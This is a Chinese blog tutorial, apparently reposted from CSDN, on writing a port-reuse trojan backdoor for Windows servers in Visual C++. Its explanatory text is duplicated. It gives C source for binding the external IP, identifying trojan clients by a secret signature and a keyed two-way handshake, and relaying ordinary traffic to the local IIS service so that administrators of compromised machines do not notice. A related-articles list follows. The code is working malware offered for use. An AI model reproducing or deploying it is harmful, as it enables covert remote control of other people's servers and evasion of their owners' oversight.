VC实现端口复用木马
2012-06-19 10:54
549 查看
其实想实现端口利用很简单,先创建一个Socket之后,用Setsockopt设置Socket的SO_REUSEADDR属性就可以了。当然要防止别人复用你的端口也很容易,用SetEXCLUSIVEADDRUSE就可以独占端口地址了。
我在开始编写前下载一个wxhshell,它是加上商品复用功能的Winshell。我自己试一了一下它的功能,发现它在WinXp+SP2+IIS5.1 下可以成功,在Windows 2003+ IIS 6.0 下没有成功。而在Windows Xp下正常工作时,IIS就不能正常工作了,这要是放在肉鸡上,别人的网页都访问不了了,那管理员就会轻易发现问题。因此这篇文章的重点就在这里——正确区分木马访问和正常的IIS访问,然后再分别加以处理。
设计思路,先获取本机连接外网的最佳IP,绑定此IP后,把127.0.0.1留给原服务,因为是TCP连接,所以只在连接起初判断就行了,就在开始通信前接收连接方的一段定长的字符串,初始判断是否是使用木马访问,如果初步判断是的话,再进行二路握手,不是则开启新线程进行客户到本地服务的的数据交换,如果二路握手成功,则开启木马功能,不成功就断开此连接。
需求,需要专门的客户端进行连接,这里用我们上次写的cmdshell客户端来改造,思路比木马的要简单,连接后进行判断,如果对方不是自己的木马则退出。
木马适用环境,任何对外开放了服务且可端口复用的服务器,如果有防火墙的话,就要用到远线程注入(这里不做讨论)
![](http://my.csdn.net/uploads/201206/19/1340075021_6251.jpg)
建议准备编写或者正在编写一些工具的朋友,像这样把每个模块分开设计,地整个程序的效率可能会有提高哦。下面我们就从绑定外网IP开始吧!
1 绑定IP用VC编程实现的话,第一步肯定是获取本机IP了,这个网上的可用代码不少,不过,要是获取最佳IP,又该如何实现呢?具体代码如下:
我们这段代码就可以获取连接外网的最佳IP地址。首先确定一个本机要连接的DEFAULT_DESTINATION,这里只要定义一个合法的外网IP就可以了,再通过GetBestInterface 获得最佳IP地址主可以了。
2 获取外网IP。由于外部的客户连接到指定端口时,就会自动连接到我们的木马上来,因此接下来就是最重要的一步——判断是否为木马请求。具体代码如下:
这是经过我修改后的客户端句柄模块,if(strncmp(myFlag,OWN_SIGN,sizeof(OWN_SIGN))!-0)用来初步判断客户是不是木马请求,起初我是让对本地服务的请求误转到木马执行模块里面,所以就加了后面的二路握手。加上之后对程序的效率没有什么影响,只是为了防止巧合的发生。if(connestab(wsh)==FALSE{closesocket(wsh);contine;}这句是在初步判断之后和客户间的二路握手,如果成功就可以执行木马模块了,不成功就很干脆地关闭连接。
下面就是木马里面的connestab()函数
其中,OWN_KEY为自定义的密钥,如果客户端和木马端的密钥不同,握手就不会成功Conninfo为自定义的木马协议结构体,很简单,char a是作为协议单元的结束符,send(client,(char *)infop,sizeof(info)-3,NULL),在这里面sizeof(info)-3是因为VC编译时数据是以4字节来进行数据结构对齐的,而char只有一字节,所以sizeof(info)返回的是12,通过再减3就可以得到真实大小了。
握手过程在注释里我已经写得很清楚了,第一路是发送自己的标识符68和随机产生的一个整数A1,然后接收客户端的回应,回应里面有个整数是随机数A1对客户端密钥求模的结果,还有客户端产生的随机数B2,木马端再验证B1和A1对自己密钥求模得出的结果是否一致,如果一样,则说明一路握手成功,然后进行第二路握手,这时用B2对自己的密钥求模,放到A2a里面,最后把A2a的A2b一起发到客户端,如果对方没有关闭连接,则说明二路握手成功。
3 验证完毕,接下来就是执行木马功能或者进行数据收发了,木马功能还是WinShell的木马功能,网上解释这个文章太多了,大家自己查找阅读一下即可。数据转发模块是我自己写的,也就是我上篇文章的介绍的select模型。代码和cmdshell客户端的数据交换代码大同小异,下面是其源代码:
这里客户端还需要一个握手的函数,其实质和木马里面的差不多,我就不单独拿出来讲了,大家自己琢磨一下即可明白。
我在开始编写前下载一个wxhshell,它是加上商品复用功能的Winshell。我自己试一了一下它的功能,发现它在WinXp+SP2+IIS5.1 下可以成功,在Windows 2003+ IIS 6.0 下没有成功。而在Windows Xp下正常工作时,IIS就不能正常工作了,这要是放在肉鸡上,别人的网页都访问不了了,那管理员就会轻易发现问题。因此这篇文章的重点就在这里——正确区分木马访问和正常的IIS访问,然后再分别加以处理。
设计思路,先获取本机连接外网的最佳IP,绑定此IP后,把127.0.0.1留给原服务,因为是TCP连接,所以只在连接起初判断就行了,就在开始通信前接收连接方的一段定长的字符串,初始判断是否是使用木马访问,如果初步判断是的话,再进行二路握手,不是则开启新线程进行客户到本地服务的的数据交换,如果二路握手成功,则开启木马功能,不成功就断开此连接。
需求,需要专门的客户端进行连接,这里用我们上次写的cmdshell客户端来改造,思路比木马的要简单,连接后进行判断,如果对方不是自己的木马则退出。
木马适用环境,任何对外开放了服务且可端口复用的服务器,如果有防火墙的话,就要用到远线程注入(这里不做讨论)
![](http://my.csdn.net/uploads/201206/19/1340075021_6251.jpg)
建议准备编写或者正在编写一些工具的朋友,像这样把每个模块分开设计,地整个程序的效率可能会有提高哦。下面我们就从绑定外网IP开始吧!
1 绑定IP用VC编程实现的话,第一步肯定是获取本机IP了,这个网上的可用代码不少,不过,要是获取最佳IP,又该如何实现呢?具体代码如下:
#define DEFAULT_DESTINATION "202.115.32.145" DWORD GetBestIp() //获得本机最好的IP地址 { PMIB_IPADDRTABLE pAddrTable(NULL); PMIB_IPADDRROW pAddrRow(NULL); ULONG ulSize(0); DWORD ret = INVALID_ADDRESS; char * pBuffer = NULL; DWORD dwBestIndex = INVALID_ADDRESS; //获得最佳IP接口的索引 DWORD dwResult = GetBestInterface(inet_addr(DEFAULT_DESTINATION), &dwBestIndex); if ( dwResult != NO_ERROR ) { //有错误,返回不可用地址 return INVALID_ADDRESS; } //获得本机所有的IP列表 GetIpAddrTable((PMIB_IPADDRTABLE)(char *)pBuffer, &ulSize, TRUE); pBuffer = new char[ulSize]; dwResult = GetIpAddrTable((PMIB_IPADDRTABLE)(char *)pBuffer, &ulSize, TRUE); if ( dwResult == NO_ERROR ) { pAddrTable = (PMIB_IPADDRTABLE)(char *) pBuffer; for (DWORD x = 0; x < pAddrTable->dwNumEntries; x++) { pAddrRow = (PMIB_IPADDRROW) &(pAddrTable->table[x]); //如果和最佳索引相等,则返回其地址 if ( pAddrRow->dwIndex == dwBestIndex ) { ret = pAddrRow->dwAddr; delete [] pBuffer; return ret; } } } delete [] pBuffer; return INVALID_ADDRESS; }
我们这段代码就可以获取连接外网的最佳IP地址。首先确定一个本机要连接的DEFAULT_DESTINATION,这里只要定义一个合法的外网IP就可以了,再通过GetBestInterface 获得最佳IP地址主可以了。
2 获取外网IP。由于外部的客户连接到指定端口时,就会自动连接到我们的木马上来,因此接下来就是最重要的一步——判断是否为木马请求。具体代码如下:
#define OWN_SIGN "scuclark\n" //自身木马标志 // 客户端句柄模块 int Wxhshell(SOCKET wsl) { SOCKET wsh; struct sockaddr_in client; DWORD myID; int count; char cmd[5]; while(nUser<MAX_USER) { char myFlag[32]; ThreadInfo threadInfo; int nSize=sizeof(client); //等待连接 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); if(wsh==INVALID_SOCKET) return 1; //以'\n'为终止符接收客户发送的验证字符串 count=0; while(count<32) { if(recv(wsh,cmd,1,0)==SOCKET_ERROR) { closesocket(wsh); return FALSE; } myFlag[count]=cmd[0]; if(cmd[0]==0x0a) { myFlag[count]='\n'; myFlag[++count]=0; break; } count++; } //初步判断是否为木马请求 if (strncmp(myFlag,OWN_SIGN,strlen(OWN_SIGN))!=0) { u_long loopIP=inet_addr("127.0.0.1"); SOCKET loopback=Make_Connection(loopIP,80,120); if (loopback<0) { closesocket(wsh); continue; } //为新线程复制参数建立事件 ownevent = CreateEvent(NULL,FALSE,FALSE,NULL); send(loopback,myFlag,count,0); threadInfo.rawSock=loopback; threadInfo.tcpSock=wsh; CreateThread(0, 0, doReTranToHost, &threadInfo, 0, &myID); //等待新线程复制完参数再继续向下执行 if(WaitForSingleObject(ownevent,INFINITE)==WAIT_FAILED) { continue; } CloseHandle(ownevent); continue; } //初步判断是木马请求,再执行二路握手,失败则关闭连接 if(connestab(wsh)==FALSE){closesocket(wsh);continue;} //握手成功,开启木马功能执行线程 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); if(handles[nUser]==0) closesocket(wsh); else nUser++; } WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); return 0; }
这是经过我修改后的客户端句柄模块,if(strncmp(myFlag,OWN_SIGN,sizeof(OWN_SIGN))!-0)用来初步判断客户是不是木马请求,起初我是让对本地服务的请求误转到木马执行模块里面,所以就加了后面的二路握手。加上之后对程序的效率没有什么影响,只是为了防止巧合的发生。if(connestab(wsh)==FALSE{closesocket(wsh);contine;}这句是在初步判断之后和客户间的二路握手,如果成功就可以执行木马模块了,不成功就很干脆地关闭连接。
下面就是木马里面的connestab()函数
#define OWN_KEY 346//密钥 //自定义握手协议结构体 typedef struct conninfo { int go; int come; char a; } * Pconninfo; //二路握手协议 BOOL connestab(SOCKET client) { char buf[256],cmd[5]; int count; conninfo info; Pconninfo infop=&info; info.a='\n'; int a=(int)infop; info.come=68; info.go=AverageRandom(100000,999999); //发送第一路木马协议 send(client,(char *)infop,sizeof(info)-3,NULL); //接收对方回应的协议 count=0; while(count<256) { if(recv(client,cmd,1,0)==SOCKET_ERROR) { closesocket(client); return FALSE; } buf[count]=cmd[0]; if(cmd[0]==0xa || cmd[0]==0xd) { buf[count]=0; break; } count++; } //验证对方是否为可信用户 if( ((Pconninfo)buf)->come!=info.go%OWN_KEY)return FALSE; info.come=((Pconninfo)buf)->go%OWN_KEY; info.go='o'+'k'; infop=&info; //验证成功,发送第二路木马协议,如果对方验证成功,则整个握手过程成功完成 send(client,(char *)infop,sizeof(info)-3,NULL); return TRUE; }
其中,OWN_KEY为自定义的密钥,如果客户端和木马端的密钥不同,握手就不会成功Conninfo为自定义的木马协议结构体,很简单,char a是作为协议单元的结束符,send(client,(char *)infop,sizeof(info)-3,NULL),在这里面sizeof(info)-3是因为VC编译时数据是以4字节来进行数据结构对齐的,而char只有一字节,所以sizeof(info)返回的是12,通过再减3就可以得到真实大小了。
握手过程在注释里我已经写得很清楚了,第一路是发送自己的标识符68和随机产生的一个整数A1,然后接收客户端的回应,回应里面有个整数是随机数A1对客户端密钥求模的结果,还有客户端产生的随机数B2,木马端再验证B1和A1对自己密钥求模得出的结果是否一致,如果一样,则说明一路握手成功,然后进行第二路握手,这时用B2对自己的密钥求模,放到A2a里面,最后把A2a的A2b一起发到客户端,如果对方没有关闭连接,则说明二路握手成功。
3 验证完毕,接下来就是执行木马功能或者进行数据收发了,木马功能还是WinShell的木马功能,网上解释这个文章太多了,大家自己查找阅读一下即可。数据转发模块是我自己写的,也就是我上篇文章的介绍的select模型。代码和cmdshell客户端的数据交换代码大同小异,下面是其源代码:
DWORD WINAPI readwrite(SOCKET tr,SOCKET tc) { char bufc[40960],bufr[40960]; char* recvbufpc; char* recvbufpr; long recvr,recvc; FD_SET ding,ding1; int err,ret; SOCKET clientr=tr,clientc=tc; //告诉主线程参数复制完毕 SetEvent(ownevent); recvr=recvc=0; struct timeval TimeOut; TimeOut.tv_sec=0; TimeOut.tv_usec=1000; FD_ZERO(&ding); FD_ZERO(&ding1); FD_SET(clientc,&ding); FD_SET(clientr,&ding); while (FD_ISSET(clientc,&ding) && FD_ISSET(clientr,&ding) ) { //赋初始值 ding1=ding; //超时或错误 int Er=select(16, &ding1, 0, 0, &TimeOut); if( (Er==SOCKET_ERROR)) { FD_CLR(clientc,&ding1); FD_CLR (clientc, &ding); } if( FD_ISSET(clientc,&ding1)) { ret=recv(clientc, bufc, sizeof(bufc), 0); if(ret == SOCKET_ERROR || ret==0 || ret == WSAECONNRESET) { FD_ZERO (&ding); } //可读但已经关闭连接 else { recvc=ret; bufc[ret] = '\0'; recvbufpc= bufc; } } if( FD_ISSET(clientr,&ding1)) { ret=recv(clientr, bufr, sizeof(bufr), 0); if(ret == SOCKET_ERROR || ret==0 || ret == WSAECONNRESET) { FD_ZERO (&ding); } //可读但已经关闭连接 else { recvr=ret; bufr[ret] = '\0'; recvbufpr= bufr; } } print: if(recvr) { ret=send(clientc,recvbufpr,recvr,0); if(ret>0) { recvbufpr+=ret; recvr-=ret; } else { err=WSAGetLastError(); if(err!=WSAETIMEDOUT) { FD_ZERO (&ding); recvr=0; } } } if(recvc) { ret=send(clientr,recvbufpc,recvc,0); if(ret>0) { recvbufpc+=ret; recvc-=ret; } else { err=WSAGetLastError(); if(err!=WSAETIMEDOUT) { FD_ZERO (&ding); recvc=0; } } } Sleep(1); if(recvr || recvc )goto print; } closesocket(clientr); closesocket(clientc); return 1; }
这里客户端还需要一个握手的函数,其实质和木马里面的差不多,我就不单独拿出来讲了,大家自己琢磨一下即可明白。
相关文章推荐
- VC++实现获取进程端口检测木马
- VC++实现获取进程端口检测木马
- (VC代码) 端口复用的思路与实现
- VC++实现获取进程端口检测木马
- Python的Socket编程过程中实现UDP端口复用的实例分享
- 在C#中实现Socket端口复用
- VC++实现遍历所有网络端口
- 用VC实现PC并行端口数字信息的输入/输出
- VC++实现端口截听
- 在C#中实现Socket端口复用
- 端口复用技术与实现代码
- VC++实现遍历所有网络端口
- Python的Socket编程过程中实现UDP端口复用的实例分享
- Python实现端口复用实例代码
- 实现端口复用,突破防火墙的ShellCode
- VC实现Rootkit端口隐藏
- [转]实现端口复用
- Python实现端口复用实例代码
- 实现NT端口复用的后门连接(讨论)
- 在C#中实现Socket端口复用